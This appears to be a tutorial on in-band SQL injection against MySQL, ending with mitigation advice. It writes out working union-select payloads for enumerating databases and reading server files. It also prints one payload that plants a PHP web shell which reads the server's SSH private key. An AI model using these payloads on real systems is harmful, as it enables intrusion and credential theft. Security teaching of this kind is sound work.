SQL Injection fundamentals

You probably know what SQL means. You might have interacted with these three letters a couple of times. But do you know what SQL Injection means, if so do you know how to protect your web application against this type of attack?

Introduction

SQL is a common acronym that means Structured Query language. The language that is used to interact with the database, storing, retrieving deleting, and even creating new records. SQLi (SQL Injection) on the other hand is a way in which malicious users of a web applications attempt to pass input that changes the final SQL query sent by the web application to the database.

Since for the web applications to be dynamic the web application has to interact with the database in real-time, this opens up the web application to various types of injections such as HTTP injection, code injection, and command injection. The most common example, however, is SQL injection.

SQL injection only happens on Relational Databases which, unlike non-relational databases, use SQL to perform database operations. There are three types of SQL injection In-band, Out-band, and Blind.

SQLi Discovery

Since SQL injection is broad, I will be discussing in-band SQLi in this article. The whole process of SQL injection starts with determining which Database Management System (DBMS) is being used. If the web server is Nginx or Apache the DBMS is probably MySQL and if it is IIS it is probably MSSQL. This however is not always the case. SQL syntax varies among the various DBMS thus I will be discussing the MYSQL DBMS.

To see if the web application is vulnerable to SQL injection just passing the ['] character on the search field is usually enough to start throwing errors. This process is known as SQLi Discovery.

If the web application is vulnerable to SQL injection then using SQL syntax to perform unauthorized user activities is possible. It is however important to note that you should follow ISO standard for Structured Query Language.

SQL Statements

It is important to understand how to write SQL code to perform a successful SQL injection attack. For this article, I will assume you are familiar with the SQL syntax if not kindly visit https://www.w3schools.com/sql/ for a better understanding.

The union In-band SQLi can be performed by using select union SQL Statements and SQL comments. However, to perform select union statements the number of columns in each table needs to be equal. To identify the number of columns that are required for a successful select union statement, Incrementally adding the column numbers to the union select statement becomes a critical matter until the time when the results from both tables are displayed on the website.

To better understand this will use an example. A search text box might be executing an SQL query like

SELECT * from products where product_id = '1';         

When performing a union select statement, with a table for example passwords, If the table products has 4 columns while passwords has 3, then a union select query would only be possible if we make the column number equal ie

SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '        

If the table names are not known however, then simply searching for ' union select 1,2,3,4 ; -- on the search box which executes the SQL command

SELECT * from products where product_id = ''union select 1,2,3,4;  --         

should be enough.

Database Enumeration

After determining that a select union statement is possible we have to identify the database, Table, and column names to enumerate data. This is where information_schema comes into play.

You might be asking yourself

What the heck is an information_schema and how does that even help me?

Well, I have you covered. It is a database that contains metadata about the databases and tables and columns present on the server. This database plays a crucial role in exploiting SQL injection vulnerabilities.

Simply put, we use the information_schema to get information about all other databases, tables, and columns that exist on a server.

Schemata is a table in the information_schema database that contains information about all databases on the server, and schema_name is the column in which this information is stored.

Hence to enumerate all the databases on the server we use the command

 select schema_name from information_schema.schemata;?         

After finding out the databases on the server, the database that is currently in use can be discovered using

select database();        

To find all the Tables on the server

select table_name, table_schema from information_schema.tables where table_schema={database}; --         

likewise the columns of a given table can be identified by using the command

select column_name,table_name, table_schema from information_schema.columns where table_name={table};--        

With knowledge of the tables and columns then retrieving the data on a specific column of a specific table would be as simple as searching ‘ Union select 1, username, password, 4 from {table. column}; --

which exceutes the SQL command

 SELECT * from products where product_id = '' Union select 1, username, password, 4 from [table.column];--        

The [ ' ] character before the union statement is used as an escape character in the SQL injection while the [--] characters are used to comment any statements that might come after the injection. This ensures that only the code injected is excecuted.

Reading Files

With SQL reading files on the server is also possible. To do this the only required thing is that the user currently logged into the server has the FILE privilege. To view the currently logged-in user, a union select statement can be used ' union select 1, user(),3,4 -- on the search box which executes the SQL command

SELECT * from products where product_id = ''union select 1, user(),3,4; --         

With the information about the currently logged-in user we can check if he has the correct right from the information_schema. User privilege info is stored on the user_privileges table on the information_schema database hence to find out if the currently logged user has the rights to read a file the command

Select grantee,privilege_type from information_schema.user_privileges where grantee="{user}"; --          

can be used.

If the user has the required privilege, the only thing left to do is using the load_file() function. This can be used in a union select statement i.e

' union select 1, load_file("/var/www/html/config.php"),3,4; --         

?to list the contents of the config.php file.

Writing Files

When it comes to writing files to the back-end server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a web shell on the remote server, hence getting code execution and taking over the server. This is why modern DBMSes disable file-write by default and require certain privileges for DBAs to write files. Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files.

Three requirements are required.

1. User with FILE privilege enabled
2. MySQL global secure_file_priv variable not enabled
3. Write access to the location we want to write to on the back-end server

The first requirement is checked by using the step highlighted in the reading files section. The second is checked by using the command

select variable_name, variable_value from information_schema.global_variables where variable_name=’ secure_file_priv’; --         

which has either of 3 outcomes

1. The variable value is empty meaning the user can write to any file in the file system
2. The variable has a certain directory meaning the user can only write to that directory
3. The variable is null meaning the user cannot write to any directory in the file system.

Lastly by using the select ... into outfile syntax which writes the retrieved data to a specific file. we can enumerate different files and even traverse the file system on the server through the web application

code like

' union select "",'<?php system("cat .ssh/id_rsa"); ?>', "", "" into outfile '/var/www/html/shell.php';--         

can be used to write the private key of the server to a file shell.php which can be accessed via the URL https://<ip:port>/shell.php?0=1d.

This kind of exploitation can cause a lot of damage and is just but an example of how an SQL Injection can be used as an attack vector.

Mitigating SQL Injection

It is important to note that this attack vector is usually caused by poorly coded web applications or poorly secured back-end server and database privileges. hence in addition to sharing with you how SQL injection works, I will also be sharing some tips on how to reduce the chances of this occurring to your organization.

Input sanitization. This is a term that actually means ensuring escape characters like (‘) 0r (“) don't hold any meaning if passed by users. This can easily be done by using libraries like mysqli_real_escape_string().

code that looks like

<SNIP>
  $username = $_POST['username'];
  $password = $_POST['password'];

  $query = "SELECT * FROM logins WHERE username='". $username. "'AND password = '" . $password . "';" ;
  echo "Executing query: " . $query . "<br /><br />";
<SNIP>
        

can easily be sanitized in the manner below

<SNIP>
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
echo "Executing query: " . $query . "<br /><br />";
<SNIP>        

alternative libraries like pg_escape_string() can also be used.

Input Validation which verifies that the data input by users when interacting with the web application is in the correct format and datatype.

weak code like

<?php
if (isset($_GET["port_code"])) {
	$q = "Select * from ports where port_code ilike '%" . $_GET["port_code"] . "%'";
	$result = pg_query($conn,$q);
    
	if (!$result)
	{
   		die("</table></div><p style='font-size: 15px;'>" . pg_last_error($conn). "</p>");
	}
<SNIP>
?>        

can be improved by using regexp and preg_match() function to look like

<SNIP>
$pattern = "/^[A-Za-z\s]+$/";
$code = $_GET["port_code"];

if(!preg_match($pattern, $code)) {
  die("</table></div><p style='font-size: 15px;'>Invalid input! Please try again.</p>");
}

$q = "Select * from ports where port_code ilike '%" . $code . "%'";
<SNIP>
        

UserPrivilges This is a term that simply means ensuring correct access controls are established when assigning users. Giving the user just the privileges he requires to do get the work done nothing more and nothing less. This might require only assigning them specific privileges to specific tables. For Example,

GRANT SELECT ON <database.table> TO “<user>” IDENTIFIED BY '<password>';        

These are just but a few ways to mitigate SQL Injection.There are more advanced ways including using web application firewalls which can be used to reject any queries made to the information_schema database discussed earlier.

Conclusion

SQL Injection is a major security attack vector for web applications that is listed in the OWASP top 10. It is mainly caused by passing unvalidated and unsanitized user input to the backend of a web application. It is therefore important to use web applications firewalls and write clean and string code when developing web applications and allocate sufficient user privileges, which play a major role in determining what the user can do when interacting with the web application.